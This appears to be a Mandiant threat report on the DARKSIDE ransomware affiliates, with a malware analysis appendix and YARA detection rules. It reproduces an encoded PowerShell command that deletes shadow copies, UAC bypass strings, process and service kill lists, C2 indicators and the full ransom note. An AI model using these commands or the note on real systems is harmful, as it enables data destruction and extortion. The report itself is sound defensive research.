DARKSIDE RaaS affiliates are required to pass an interview after which they are provided access to an administration panel (Figure 2). Within this panel, affiliates can perform various actions such as creating a ransomware build, specifying content for the DARKSIDE blog, managing victims, and contacting support. Mandiant has identified at least five Russian-speaking actors who may currently, or have previously, been DARKSIDE affiliates. Relevant advertisements associated with a portion of these threat actors have been aimed at finding either initial access providers or actors capable of deploying ransomware on accesses already obtained. Some actors claiming to use DARKSIDE have also allegedly partnered with other RaaS affiliate programs, including BABUK and SODINOKIBI (aka REvil). For more information on these threat actors, please see Mandiant Advantage.


Figure 2: DARKSIDE affiliate panel

Attack Lifecycle

Mandiant currently tracks five clusters of threat activity that have involved the deployment of DARKSIDE. For more information on uncategorized threats, refer to our post, "DebUNCing Attribution: How Mandiant Tracks Uncategorized Threat Actors." These clusters may represent different affiliates of the DARKSIDE RaaS platform. Throughout observed incidents, the threat actor commonly relied on various publicly available and legitimate tools that are commonly used to facilitate various stages of the attack lifecycle in post-exploitation ransomware attacks (Figure 3). Additional details on three of these UNC groups are included below.


Figure 3: TTPs seen throughout DARKSIDE ransomware engagements

UNC2628

UNC2628 has been active since at least February 2021. Their intrusions progress relatively quickly with the threat actor typically deploying ransomware in two to three days. We have some evidence that suggests UNC2628 has partnered with other RaaS including SODINOKIBI (REvil) and NETWALKER.

  • In multiple cases we have observed suspicious authentication attempts against corporate VPN infrastructure immediately prior to the start of interactive intrusion operations. The authentication patterns were consistent with a password spraying attack, though available forensic evidence was insufficient to definitively attribute this precursor activity to UNC2628.
  • In cases where evidence was available, the threat actor appeared to obtain initial access through corporate VPN infrastructure using legitimate credentials.
  • UNC2628 has interacted with victim environments using various legitimate accounts, but in multiple cases has also created and used a domain account with the username 'spservice'. Across all known intrusions, UNC2628 has made heavy use of the Cobalt Strike framework and BEACON payloads. BEACON command and control (C2) infrastructure attributed to this actor has included the following:
    • hxxps://104.193.252[.]197:443/
    • hxxps://162.244.81[.]253:443/
    • hxxps://185.180.197[.]86:443/
    • hxxps://athaliaoriginals[.]com/
    • hxxps://lagrom[.]com:443/font.html
    • hxxps://lagrom[.]com:443/night.html
    • hxxps://lagrom[.]com:443/online.html
    • hxxps://lagrom[.]com:443/send.html
    • hxxps://lagrom[.]com/find.html?key=id#-
  • In at least some cases there is evidence to suggest this actor has employed Mimikatz for credential theft and privilege escalation.
  • The threat actor appeared to have used built-in commands such as ‘net’ and ‘ping’ to perform basic reconnaissance of the internal network, though it is likely that additional reconnaissance was performed via BEACON and not represented in available log sources.
  • UNC2628 has moved laterally in environments almost exclusively via RDP using legitimate credentials and Cobalt Strike BEACON payloads. This threat cluster uses both HTTPS BEACON payloads and SMB BEACON, the latter almost exclusively using named pipes beginning with “\\.\pipe\UIA_PIPE_”
  • Intrusions attributed to this threat cluster have progressed swiftly from intrusion to data theft and ransomware deployment, and have thus not focused heavily on maintaining a persistent foothold in impacted environments.  Despite this, UNC2628 has maintained access via the collection of legitimate credentials, the creation of attacker-controlled domain accounts (spservice), and via the creation of Windows services intended to launch BEACON. Notably, UNC2628 has repeatedly loaded BEACON with a service named ‘CitrixInit’.
  • UNC2628 has also employed F-Secure Labs' Custom Command and Control (C3) framework, deploying relays configured to proxy C2 communications through the Slack API. Based on this actor's other TTPs they were likely using C3 to obfuscate Cobalt Strike BEACON traffic.
  • The threat actor has exfiltrated data over SFTP using Rclone to systems in cloud hosting environments. Rclone is a command line utility to manage files for cloud storage applications. Notably, the infrastructure used for data exfiltration has been reused across multiple intrusions. In one case, the data exfiltration occurred on the same day that the intrusion began.
  • UNC2628 deploys DARKSIDE ransomware encryptors using PsExec to a list of hosts contained in multiple text files.
  • The threat actor has used the following directories, placing copies of backdoors, ransomware binaries, copies of PsExec, and lists of victim hosts within them.
    • C:\run\
    • C:\home\
    • C:\tara\
    • C:\Users\[username]\Music\
    • C:\Users\Public

UNC2659

UNC2659 has been active since at least January 2021. We have observed the threat actor move through the whole attack lifecycle in under 10 days. UNC2659 is notable given their use of an exploit in the SonicWall SMA100 SSL VPN product, which has since been patched by SonicWall. The threat actor appeared to download several tools used for various phases of the attack lifecycle directly from those tools’ legitimate public websites.

  • The threat actor obtained initial access to their victim by exploiting CVE-2021-20016, an exploit in the SonicWall SMA100 SSL VPN product, which has been patched by SonicWall. There is some evidence to suggest the threat actor may have used the vulnerability to disable multi-factor authentication options on the SonicWall VPN, although this has not been confirmed.
  • The threat actor leveraged TeamViewer (TeamViewer_Setup.exe) to establish persistence within the victim environment. Available evidence suggests that the threat actor downloaded TeamViewer directly from the following URL and also browsed for locations from which they could download the AnyDesk utility.
    • hxxps://dl.teamviewer[.]com/download/version_15x/TeamViewer_Setup.exe
  • The threat actor appeared to download the file rclone.exe directly from rclone[.]org - hxxps://downloads.rclone[.]org/v1.54.0/rclone-v1.54.0-windows-amd64.zip. The threat actors were seen using rclone to exfiltrate hundreds of gigabytes of data over the SMB protocol to the pCloud cloud-based hosting and storage service.
  • The threat actor deployed the file power_encryptor.exe in a victim environment, encrypting files and creating ransom notes over the SMB protocol.
  • Mandiant observed the threat actor navigate to ESXi administration interfaces and disable snapshot features prior to the ransomware encryptor deployment, which affected several VM images.

UNC2465

UNC2465 activity dates back to at least April 2019 and is characterized by their use of similar TTPs to distribute the PowerShell-based .NET backdoor SMOKEDHAM in victim environments. In one case where DARKSIDE was deployed, there were months-long gaps, with only intermittent activity between the time of initial compromise to ransomware deployment. In some cases, this could indicate that initial access was provided by a separate actor.

  • UNC2465 used phishing emails and legitimate services to deliver the SMOKEDHAM backdoor. SMOKEDHAM is a .NET backdoor that supports keylogging, taking screenshots, and executing arbitrary .NET commands. During one incident, the threat actor appeared to establish a line of communication with the victim before sending a malicious Google Drive link delivering an archive containing an LNK downloader. More recent UNC2465 emails have used Dropbox links with a ZIP archive containing malicious LNK files that, when executed, would ultimately lead to SMOKEDHAM being downloaded onto the system.  
  • UNC2465 has used Advanced IP Scanner, BLOODHOUND, and RDP for internal reconnaissance and lateral movement activities within victim environments.
  • The threat actor has used Mimikatz for credential harvesting to escalate privileges in the victim network.
  • UNC2465 also uses the publicly available NGROK utility to bypass firewalls and expose remote desktop service ports, like RDP and WinRM, to the open internet.
  • Mandiant has observed the threat actor using PsExec and cron jobs to deploy the DARKSIDE ransomware.
  • UNC2465 has called the customer support lines of victims and told them that data was stolen and instructed them to follow the link in the ransom note.

Implications

We believe that threat actors have become more proficient at conducting multifaceted extortion operations and that this success has directly contributed to the rapid increase in the number of high-impact ransomware incidents over the past few years. Ransomware operators have incorporated additional extortion tactics designed to increase the likelihood that victims will acquiesce to paying the ransom prices. As one example, in late April 2021, the DARKSIDE operators released a press release stating that they were targeting organizations listed on the NASDAQ and other stock markets. They indicated that they would be willing to give stock traders information about upcoming leaks in order to allow them potential profits due to stock price drops after an announced breach. In another notable example, an attacker was able to obtain the victim's cyber insurance policy and leveraged this information during the ransom negotiation process refusing to lower the ransom amount given their knowledge of the policy limits. This reinforces that during the post-exploitation phase of ransomware incidents, threat actors can engage in internal reconnaissance and obtain data to increase their negotiating power. We expect that the extortion tactics that threat actors use to pressure victims will continue to evolve throughout 2021.

Based on the evidence that DARKSIDE ransomware is distributed by multiple actors, we anticipate that the TTPs used throughout incidents associated with this ransomware will continue to vary somewhat. For more comprehensive recommendations for addressing ransomware, please refer to our blog post: "Ransomware Protection and Containment Strategies: Practical Guidance for Endpoint Protection, Hardening, and Containment" and the linked white paper.

Acknowledgements

Beyond the comparatively small number of people who are listed as authors on this report are hundreds of consultants, analysts and reverse-engineers who tirelessly put in the work needed to respond to intrusions at breakneck pace and still maintain unbelievably high analytical standards. This larger group has set the foundation for all of our work, but a smaller group of people contributed more directly to producing this report and we would like to thank them by name. We would like to specifically thank Bryce Abdo and Matthew Dunwoody from our Advanced Practices team and Jay Smith from FLARE, all of whom provided analytical support and technical review. Notable support was also provided by Ioana Teaca, and Muhammadumer Khan.

Appendix A: DARKSIDE Ransomware Analysis

DARKSIDE is a ransomware written in C that may be configured to encrypt files on fixed and removable disks as well as network shares. DARKSIDE RaaS affiliates are given access to an administration panel on which they create builds for specific victims. The panel allows some degree of customization for each ransomware build such as choosing the encryption mode and whether local disks and network shares should be encrypted (Figures 4). The following malware analysis is based on the file MD5: 1a700f845849e573ab3148daef1a3b0b. A more recently analyzed DARKSIDE sample had the following notable differences:

  • The option for beaconing to a C2 server was disabled and the configuration entry that would have contained a C2 server was removed.
  • Included a persistence mechanism in which the malware creates and launches itself as a service.
  • Contained a set of hard-coded victim credentials that were used to attempt to logon as a local user. If the user token retrieved based on the stolen credentials is an admin token and is part of the domain administrators' group, it is used for network enumeration and file permission access.


Figure 4: DARKSIDE build configuration options appearing in the administration panel

Host-Based Indicators

Persistence Mechanism

Early versions of the malware did not contain a persistence mechanism. An external tool or installer was required if the attacker desired persistence. A DARKSIDE version observed in May 2021 implement a persistence mechanism through which the malware creates and launches itself as a service with a service name and description named using eight pseudo-randomly defined lowercase hexadecimal characters (e.g., ".e98fc8f7") that are also appended by the malware to various other artifacts it created.  This string of characters is referenced as <ransom_ext>. :

Service Name: <ransom_ext>
Description: <ransom_ext>

Filesystem Artifacts

Created Files

%CD%\LOG<ransom_ext>.TXT
README<ransom_ext>.TXT
<original_filename_plus_ext><ransom_ext>
May version: %PROGRAMDATA%\<ransom_ext>.ico

Registry Artifacts

The DARKSIDE version observed in May sets the following registry key:

HKCR\<ransom_ext>\DefaultIcon\<ransom_ext>\DefaultIcon=%PROGRAMDATA%\<ransom_ext>.ico

Details

Configuration

The malware initializes a 0x100-byte keystream used to decrypt strings and configuration data. Strings are decrypted as needed and overwritten with NULL bytes after use. The malware's configuration size is 0xBE9 bytes. A portion of the decrypted configuration is shown in Figure 5.

00000000  01 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000030  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000040  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000050  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000060  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000070  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000080  95 AA A8 7C 2B 6A D5 12 0E 73 B3 7D BD 16 25 62  •ª¨|+jÕ..s³}½.%b
00000090  A4 A8 BF 19 73 F7 E0 BC DF 02 A8 94 32 CF 0C C0  ¤¨¿.s÷à¼ß.¨"2Ï.À
000000A0  C5 83 0F 14 66 02 87 EE FD 29 96 DF 02 05 C1 12  Ń..f.‡îý)–ß..Á.
000000B0  3E 43 A7 59 E1 F0 C4 5D AE E1 20 2E 77 D9 CA 3C  >C§YáðÄ]®á .wÙÊ<
000000C0  AD C6 BC 84 75 1C E7 0B F0 30 2A 51 13 7A B2 66  .Ƽ„u.ç.ð0*Q.z²f
000000D0  44 73 79 E1 E4 69 C3 CA 1B C1 76 63 65 95 EA CA  DsyáäiÃÊ.Ávce•êÊ
000000E0  F6 10 68 0D CE 36 61 F9 57 B9 19 50 31 D4 E1 70  ö.h.Î6aùW¹.P1Ôáp
000000F0  EC 7B 33 1E 4F 17 E1 80 1D BC CF 8C D8 C5 66 41  ì{3.O.á€.¼ÏŒØÅfA
00000100  E5 0A 00 00 02 6E 01 02 15 03 43 01 8E 24 0E 72  å....n....C.Ž$.r
<cut>

Figure 5: Partial decrypted configuration

The sample's 0x80-byte RSA public key blob begins at offset 0x80. The DWORD value at offset 0x100 is multiplied by 64 and an amount of memory equivalent to the result is allocated. The remaining bytes, which start at offset 0x104, are aPLib-decompressed into the allocated buffer. The decompressed bytes include the ransom note and other elements of the malware's configuration described as follows (e.g., processes to terminate, files to ignore). The first 0x60 bytes of the decompressed configuration are shown in Figure 6.

00000000  02 01 01 01 00 01 01 00 01 01 01 01 01 01 01 01  ................
00000010  01 01 01 01 01 01 24 00 72 00 65 00 63 00 79 00  ......$.r.e.c.y.
00000020  63 00 6C 00 65 00 2E 00 62 00 69 00 6E 00 00 00  c.l.e...b.i.n...
00000030  63 00 6F 00 6E 00 66 00 69 00 67 00 2E 00 6D 00  c.o.n.f.i.g...m.
00000040  73 00 69 00 00 00 24 00 77 00 69 00 6E 00 64 00  s.i...$.w.i.n.d.
00000050  6F 00 77 00 73 00 2E 00 7E 00 62 00 74 00 00 00  o.w.s...~.b.t...
<cut>

Figure 6: Partial decompressed configuration

The first byte from Figure 6 indicates the encryption mode. This sample is configured to encrypt using FAST mode. Supported values are as follows:

  • 1: FULL
  • 2: FAST
  • Other values: AUTO

The individual bytes from offset 0x02 to offset 0x15 in Figure 6 are Boolean values that dictate the malware's behavior. The malware takes the actions listed in Table 2 based on these values. Table 2 also identifies features that are enabled or disabled for the current sample.

Offset

Enabled

Description

0x01

Yes

Unknown

0x02

Yes

Encrypt local disks

0x03

Yes

Encrypt network shares

0x04

No

Perform language check

0x05

Yes

Delete volume shadow copies

0x06

Yes

Empty Recycle Bins

0x07

No

Self-delete

0x08

Yes

Perform UAC bypass if necessary

0x09

Yes

Adjust token privileges

0x0A

Yes

Logging

0x0B

Yes

Feature not used but results in the following strings being decrypted:

  • https://google.com/api/version
  • https://yahoo.com/v2/api

0x0C

Yes

Ignore specific folders

0x0D

Yes

Ignore specific files

0x0E

Yes

Ignore specific file extensions

0x0F

Yes

Feature not used; related to these strings: "backup" and "here_backups"

0x10

Yes

Feature not used: related to these strings: "sql" and "sqlite"

0x11

Yes

Terminate processes

0x12

Yes

Stop services

0x13

Yes

Feature not used; related to a buffer that contains the repeated string "blah"

0x14

Yes

Drop ransom note

0x15

Yes

Create a mutex

Table 2: Configuration bits

UAC Bypass

If the malware does not have elevated privileges, it attempts to perform one of two User Account Control (UAC) bypasses based on the operating system (OS) version. If the OS is older than Windows 10, the malware uses a documented slui.exe file handler hijack technique. This involves setting the registry value HKCU\Software\Classes\exefile\shell\open\command\Default to the malware path and executing slui.exe using the verb "runas."

If the OS version is Windows 10 or newer, the malware attempts a UAC bypass that uses the CMSTPLUA COM interface. The decrypted strings listed in Figure 7 are used to perform this technique.

Elevation:Administrator!new:
{3E5FC7F9-9A51-4367-9063-A120244FBEC7}

Figure 7: Decrypted UAC bypass strings

Encryption Setup

The malware generates a pseudo-random file extension based on a MAC address on the system. In a DARKSIDE version observed in May 2021, the file extension is generated using a MachineGuid registry value as a seed rather than the MAC address. The file extension consists of eight lowercase hexadecimal characters (e.g., ".e98fc8f7") and is referred to as <ransom_ext>. The file extension generation algorithm has been recreated in Python. If logging is enabled, the malware creates the log file LOG<ransom_ext>.TXT in its current directory.

The malware supports the command line argument "-path," which allows an attacker to specify a directory to target for encryption.

The sample analyzed for this report is not configured to perform a system language check. If this functionality were enabled and the check succeeded, the string "This is a Russian-Speaking System, Exit" would be written to the log file and the malware would exit.

Anti-Recovery Techniques

The malware locates and empties Recycle Bins on the system. If the process is running under WOW64, it executes the PowerShell command in Figure 8 using CreateProcess to delete volume shadow copies.

powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F7763
6F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"

Figure 8: Encoded PowerShell command

The decoded command from Figure 4 is "Get-WmiObject Win32_Shadowcopy | ForEach-Object {$_.Delete();}." If the malware is not running under WOW64, it uses COM objects and WMI commands to delete volume shadow copies. The decrypted strings in Figure 9 are used to facilitate this process.

root/cimv2
SELECT * FROM Win32_ShadowCopy
Win32_ShadowCopy.ID='%s'

Figure 9: Decrypted strings related to shadow copy deletion

System Manipulation

Any service the name of which contains one of the strings listed in Figure 10 is stopped and deleted.

vss
sql
svc$
memtas
mepocs
sophos
veeam
backup

Figure 10: Service-related strings

The version observed in May 2021 is additionally configured to stop and delete services containing the strings listed in Figure 11.

GxVss
GxBlr
GxFWD
GxCVD
GxCIMgr

Figure 11: Additional service-related strings in May version

Any process name containing one of the strings listed in Figure 12 is terminated.

sql
oracle
ocssd
dbsnmp
synctime
agntsvc
isqlplussvc
xfssvccon
mydesktopservice
ocautoupds
encsvc
firefox
tbirdconfig
mydesktopqos
ocomm
dbeng50
sqbcoreservice
excel
infopath
msaccess
mspub
onenote
outlook
powerpnt
steam
thebat
thunderbird
visio
winword
wordpad
notepad

Figure 12: Process-related strings

File Encryption

Based on its configuration, the malware targets fixed and removable disks as well as network shares. Some processes may be terminated so associated files can be successfully encrypted. However, the malware does not terminate processes listed in Figure 13.

vmcompute.exe
vmms.exe
vmwp.exe
svchost.exe
TeamViewer.exe
explorer.exe

Figure 13: Processes not targeted for termination

The malware uses the strings listed in Figure 14 to ignore certain directories during the encryption process.

windows
appdata
application data
boot
google
mozilla
program files
program files (x86)
programdata
system volume information
tor browser
windows.old
intel
msocache
perflogs
x64dbg
public
all users
default

Figure 14: Strings used to ignore directories

The files listed in Figure 15 are ignored.

$recycle.bin
config.msi
$windows.~bt
$windows.~ws

Figure 15: Ignored files

The version observed in May 2021 is additionally configured to ignore the files listed in Figure 16.

autorun.inf
boot.ini
bootfont.bin
bootsect.bak
desktop.ini
iconcache.db
ntldrntuser.dat
ntuser.dat
logntuser.ini
thumbs.db

Figure 16: Additional ignored files in May version

Additional files are ignored based on the extensions listed in Figure 17.

.386, .adv, .ani, .bat, .bin, .cab, .cmd, .com, .cpl, .cur, .deskthemepack, .diagcab, .diagcfg, .diagpkg, .dll, .drv, .exe, .hlp, .icl, .icns, .ico, .ics, .idx, .ldf, .lnk, .mod, .mpa, .msc, .msp, .msstyles, .msu, .nls, .nomedia, .ocx, .prf, .ps1, .rom, .rtp, .scr, .shs, .spl, .sys, .theme, .themepack, .wpx, .lock, .key, .hta, .msi, .pdb

Figure 17: Ignored file extensions

Files are encrypted using Salsa20 and a key randomly generated using RtlRandomEx. Each key is encrypted using the embedded RSA-1024 public key.

Ransom Note

The malware writes the ransom note shown in Figure 18 to README<ransom_ext>.TXT files written to directories it traverses.

----------- [ Welcome to Dark ] ------------->

What happend?
----------------------------------------------
Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data.
But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network.
Follow our instructions below and you will recover all your data.

Data leak
----------------------------------------------
First of all we have uploaded more then 100 GB data.

Example of data:
 - Accounting data
 - Executive data
 - Sales data
 - Customer Support data
 - Marketing data
 - Quality data
 - And more other...

Your personal leak page: http://darksidedxcftmqa[.]onion/blog/article/id/6/<REDACTED>
The data is preloaded and will be automatically published if you do not pay.
After publication, your data will be available for at least 6 months on our tor cdn servers.

We are ready:
- To provide you the evidence of stolen data
- To give you universal decrypting tool for all encrypted files.
- To delete all the stolen data.

What guarantees?
----------------------------------------------
We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests.
All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems.
We guarantee to decrypt one file for free. Go to the site and contact us.

How to get access on website?
----------------------------------------------
Using a TOR browser:
1) Download and install TOR browser from this site: https://torproject.org/
2) Open our website: http://darksidfqzcuhtk2[.]onion/<REDACTED>

When you open our website, put the following data in the input form:
Key:
<REDACTED>

!!! DANGER !!!
DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them.
!!! DANGER !!!

Figure 18: Ransom note

Decrypted Strings

Global\XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
https://google.com/api/version
https://yahoo.com/v2/api
sql
sqlite
$recycle.bin
config.msi
$windows.~bt
$windows.~ws
windows
appdata
application data
boot
google
mozilla
program files
program files (x86)
programdata
system volume information
tor browser
windows.old
intel
msocache
perflogs
x64dbg
public
all users
default
386
adv
ani
bat
bin
cab
cmd
com
cpl
cur
deskthemepack
diagcab
diagcfg
diagpkg
dll
drv
exe
hlp
icl
icns
ico
ics
idx
ldf
lnk
mod
mpa
msc
msp
msstyles
msu
nls
nomedia
ocx
prf
ps1
rom
rtp
scr
shs
spl
sys
theme
themepack
wpx
lock
key
hta
msi
pdb
vmcompute.exe
vmms.exe
vmwp.exe
svchost.exe
TeamViewer.exe
explorer.exe
oracle
ocssd
dbsnmp
synctime
agntsvc
isqlplussvc
xfssvccon
mydesktopservice
ocautoupds
encsvc
firefox
tbirdconfig
mydesktopqos
ocomm
dbeng50
sqbcoreservice
excel
infopath
msaccess
mspub
onenote
outlook
powerpnt
steam
thebat
thunderbird
visio
winword
wordpad
notepad
vss
sql
svc$
memtas
mepocs
sophos
veeam
backup
\r\nblahblahblahblahblahblahblahblahblahblahblahblahblahblahblahblah\r\nblahblahblahblahblahblahbl
ahblahblahblahblahblahblahblahblahblah\r\nblahblahblahblahblahblahblahblahblahblahblahblahblahblah
blahblah\r\nblahblahblah\r\n
\r\n----------- [ Welcome to Dark ] ------------->\r\n\r\nWhat happend?\r\n----------------------------------------------\r\nYour computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data.\r\nBut you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network.\r\nFollow our instructions below and you will recover all your data.\r\n\r\nData leak\r\n----------------------------------------------\r\nFirst of all we have uploaded more then 100 GB data.\r\n\r\nExample of data:\r\n - Accounting data\r\n - Executive data\r\n - Sales data\r\n - Customer Support data\r\n - Marketing data\r\n - Quality data\r\n - And more other...\r\n\r\nYour personal leak page: http://darksidedxcftmqa[.]onion/blog/article/id/6/<REDACTED>The data is preloaded and will be automatically published if you do not pay.\r\nAfter publication, your data will be available for at least 6 months on our tor cdn servers.\r\n\r\nWe are ready:\r\n- To provide you the evidence of stolen data\r\n- To give you universal decrypting tool for all encrypted files.\r\n- To delete all the stolen data.\r\n\r\nWhat guarantees?\r\n----------------------------------------------\r\nWe value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests.\r\nAll our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems.\r\nWe guarantee to decrypt one file for free. Go to the site and contact us.\r\n\r\nHow to get access on website? \r\n----------------------------------------------\r\nUsing a TOR browser:\r\n1) Download and install TOR browser from this site: https://torproject.org/\r\n2) Open our website: http://darksidfqzcuhtk2[.]onion/<REDACTED>\r\n\r\nWhen you open our website, put the following data in the input form:\r\nKey:\r\<REDACTED>\r\n\r\n!!! DANGER !!!\r\nDO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. \r\n!!! DANGER !!!\r\n
-path
INF
DBG
/C DEL /F /Q
 >> NUL
ComSpec
README
.TXT
Start Encrypting Target Folder
Encrypt Mode - AUTO
Started %u I/O Workers
Encrypted %u file(s)
Start Encrypt
[Handle %u]
File Encrypted Successful
Encrypt Mode - FAST
Encrypt Mode - FULL
This is a Russian-Speaking System, Exit
System Language Check
Encrypting Network Shares
Encrypting Local Disks
README
.TXT
Encrypt Mode - AUTO
Started %u I/O Workers
Encrypted %u file(s)
Start Encrypt
[Handle %u]
File Encrypted Successful
Encrypt Mode - FAST
Encrypt Mode - FULL
Terminating Processes
Deleting Shadow Copies
Uninstalling Services
Emptying Recycle Bin
This is a Russian-Speaking System, Exit
System Language Check
Start Encrypting All Files
powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F7763
6F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2
*$_,2))};iex $s"
root/cimv2
WQL
SELECT * FROM Win32_ShadowCopy
ID
Win32_ShadowCopy.ID='%s'
.exe
LOG%s.TXT
README%s.TXT
Software\Classes\exefile\shell\open\command
\slui.exe
runas
Elevation:Administrator!new:
{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
explorer.exe

Figure 19: Decrypted strings

Appendix B: Indicators for Detection and Hunting

Yara Detections

The following YARA rules are not intended to be used on production systems or to inform blocking rules without first being validated through an organization's own internal testing processes to ensure appropriate performance and limit the risk of false positives. These rules are intended to serve as a starting point for hunting efforts to identify related activity; however, they may need adjustment over time if the malware family changes.

rule Ransomware_Win_DARKSIDE_v1__1
{
    meta:
        author = “FireEye”
        date_created = “2021-03-22”
        description = “Detection for early versions of DARKSIDE ransomware samples based on the encryption mode configuration values.”
        md5 = “1a700f845849e573ab3148daef1a3b0b”   
    strings:
        $consts = { 80 3D [4] 01 [1-10] 03 00 00 00 [1-10] 03 00 00 00 [1-10] 00 00 04 00 [1-10] 00 00 00 00 [1-30] 80 3D [4] 02 [1-10] 03 00 00 00 [1-10] 03 00 00 00 [1-10] FF FF FF FF [1-10] FF FF FF FF [1-30] 03 00 00 00 [1-10] 03 00 00 00 }
    condition:
        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and $consts
}

Figure 20: DARKSIDE YARA rule

rule Dropper_Win_Darkside_1
{
    meta:
        author = "FireEye"
        date_created = "2021-05-11"
        description = "Detection for on the binary that was used as the dropper leading to DARKSIDE."
    strings:
        $CommonDLLs1 = "KERNEL32.dll" fullword
        $CommonDLLs2 = "USER32.dll" fullword
        $CommonDLLs3 = "ADVAPI32.dll" fullword
        $CommonDLLs4 = "ole32.dll" fullword
        $KeyString1 = { 74 79 70 65 3D 22 77 69 6E 33 32 22 20 6E 61 6D 65 3D 22 4D 69 63 72 6F 73 6F 66 74 2E 57 69 6E 64 6F 77 73 2E 43 6F 6D 6D 6F 6E 2D 43 6F 6E 74 72 6F 6C 73 22 20 76 65 72 73 69 6F 6E 3D 22 36 2E 30 2E 30 2E 30 22 20 70 72 6F 63 65 73 73 6F 72 41 72 63 68 69 74 65 63 74 75 72 65 3D 22 78 38 36 22 20 70 75 62 6C 69 63 4B 65 79 54 6F 6B 65 6E 3D 22 36 35 39 35 62 36 34 31 34 34 63 63 66 31 64 66 22 }
        $KeyString2 = { 74 79 70 65 3D 22 77 69 6E 33 32 22 20 6E 61 6D 65 3D 22 4D 69 63 72 6F 73 6F 66 74 2E 56 43 39 30 2E 4D 46 43 22 20 76 65 72 73 69 6F 6E 3D 22 39 2E 30 2E 32 31 30 32 32 2E 38 22 20 70 72 6F 63 65 73 73 6F 72 41 72 63 68 69 74 65 63 74 75 72 65 3D 22 78 38 36 22 20 70 75 62 6C 69 63 4B 65 79 54 6F 6B 65 6E 3D 22 31 66 63 38 62 33 62 39 61 31 65 31 38 65 33 62 22 }
        $Slashes = { 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C }
    condition:
        filesize < 2MB and filesize > 500KB and uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and (all of ($CommonDLLs*)) and (all of ($KeyString*)) and $Slashes
}

Figure 21: DARKSIDE Dropper YARA rule

rule Backdoor_Win_C3_1
{
    meta:
        author = “FireEye”
        date_created = "2021-05-11"
        description = "Detection to identify the Custom Command and Control (C3) binaries."
        md5 = "7cdac4b82a7573ae825e5edb48f80be5"
    strings:
        $dropboxAPI = "Dropbox-API-Arg"
        $knownDLLs1 = "WINHTTP.dll" fullword
        $knownDLLs2 = "SHLWAPI.dll" fullword
        $knownDLLs3 = "NETAPI32.dll" fullword
        $knownDLLs4 = "ODBC32.dll" fullword
        $tokenString1 = { 5B 78 5D 20 65 72 72 6F 72 20 73 65 74 74 69 6E 67 20 74 6F 6B 65 6E }
        $tokenString2 = { 5B 78 5D 20 65 72 72 6F 72 20 63 72 65 61 74 69 6E 67 20 54 6F 6B 65 6E }
        $tokenString3 = { 5B 78 5D 20 65 72 72 6F 72 20 64 75 70 6C 69 63 61 74 69 6E 67 20 74 6F 6B 65 6E }
    condition:
        filesize < 5MB and uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and (((all of ($knownDLLs*)) and ($dropboxAPI or (1 of ($tokenString*)))) or (all of ($tokenString*)))

Figure 22: Custom Command and Control (C3) YARA rule

Detecting DARKSIDE

FireEye products detect this activity at multiple stages of the attack lifecycle. The following table contains specific detections intended to identify and prevent malware and methods seen at these intrusions. For brevity, this list does not include FireEye’s existing detections for BEACON, BloodHound/SharpHound, and other common tools and malware that FireEye has observed both in this campaign and across a broad range of intrusion operations

Platform(s)

Detection Name

Network Security
Email Security
Detection On Demand
Malware Analysis
File Protect

  • Ransomware.SSL.DarkSide
  • Trojan.Generic
  • Ransomware.Linux.DARKSIDE
  • Ransomware.Win.Generic.MVX
  • Ransomware.Win.DARKSIDE.MVX
  • Ransomware.Linux.DARKSIDE.MVX
  • Ransomware.Win32.DarkSide.FEC3
  • FE_Ransomware_Win_DARKSIDE_1
  • FE_Ransomware_Win32_DARKSIDE_1
  • FE_Ransomware_Linux64_DARKSIDE_1
  • FE_Ransomware_Linux_DARKSIDE_1
  • FEC_Trojan_Win32_Generic_62
  • FE_Loader_Win32_Generic_177
  • FE_Loader_Win32_Generic_197
  • FE_Backdoor_Win_C3_1
  • FE_Backdoor_Win32_C3_1
  • FE_Backdoor_Win32_C3_2
  • FE_Backdoor_Win_C3_2
  • Backdoor.Win.C3
  • FE_Dropper_Win_Darkside_1

Endpoint Security

Real-Time (IOC)

  • BABYMETAL (BACKDOOR)
  • DARKSIDE RANSOMWARE (FAMILY)
  • SUSPICIOUS POWERSHELL USAGE (METHODOLOGY)
  • SUSPICIOUS POWERSHELL USAGE B (METHODOLOGY)

Malware Protection(AV/MG)

  • Generic.mg.*
  • Gen:Heur.FKP.17
  • Gen:Heur.Ransom.RTH.1
  • Gen:[email protected]
  • Gen:Variant.Razy.*
  • Trojan.CobaltStrike.CB
  • Trojan.GenericKD.*
  • Trojan.Linux.Ransom.H

UAC Protect

  • Malicious UAC bypass program detected

Helix

  • VPN ANALYTICS [Abnormal Logon]
  • WINDOWS ANALYTICS [Abnormal RDP Logon]
